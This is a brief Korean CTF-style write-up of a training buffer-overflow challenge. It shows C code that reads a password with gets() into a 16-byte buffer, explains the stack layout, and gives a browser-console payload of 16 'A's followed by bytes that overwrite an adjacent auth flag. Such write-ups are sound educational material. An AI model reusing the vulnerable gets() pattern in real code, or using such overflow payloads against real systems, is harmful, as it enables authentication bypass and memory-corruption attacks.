반응형
[summary] bof
Training
Here is a piece of code:
int main(int argc, char **argv)
{
unsigned char auth = 0;
char pass[16];
gets(pass);
if(validate(pass)) auth = 1;
puts(auth==1?solution():"Bad password!");
return 0;
}
Input:
Run!
Output: Bad password!
Segmentation fault간단한 bof 문제이다. validate를 모르기 때문에, auth를 1로 만들기 위해서는 gets 함수에서 덮어쓰는 방법밖에 없을 것이다.
스택의 상황은 다음과 같다.
| stack |
|---|
| pass[16]... |
| 0 | 0 | 0 | auth |
| ebp |
| ret |
auth가 unsigned char으로 선언되어 있으므로 앞 공간들을 0으로 채워야 한다.
> document.getElementById('f')[0].value = 'AAAAAAAAAAAAAAAA'+'\x00\x00\x00\x01'
> document.getElementById('f').submit()반응형
'Write-up' 카테고리의 다른 글
| [wargame.kr] already got writeup (0) | 2019.05.01 |
|---|---|
| [W3Challs] Hacking Change your browser writeup (3) | 2019.05.01 |
| [securitytraps.pl] Exploit/Riddles swapping writeup (0) | 2019.05.01 |
| [securitytraps.pl] Exploit/Riddles Equation writeup (0) | 2019.05.01 |
| [securitytrap.pl] Exploit/Riddles The Truth writeup (0) | 2019.05.01 |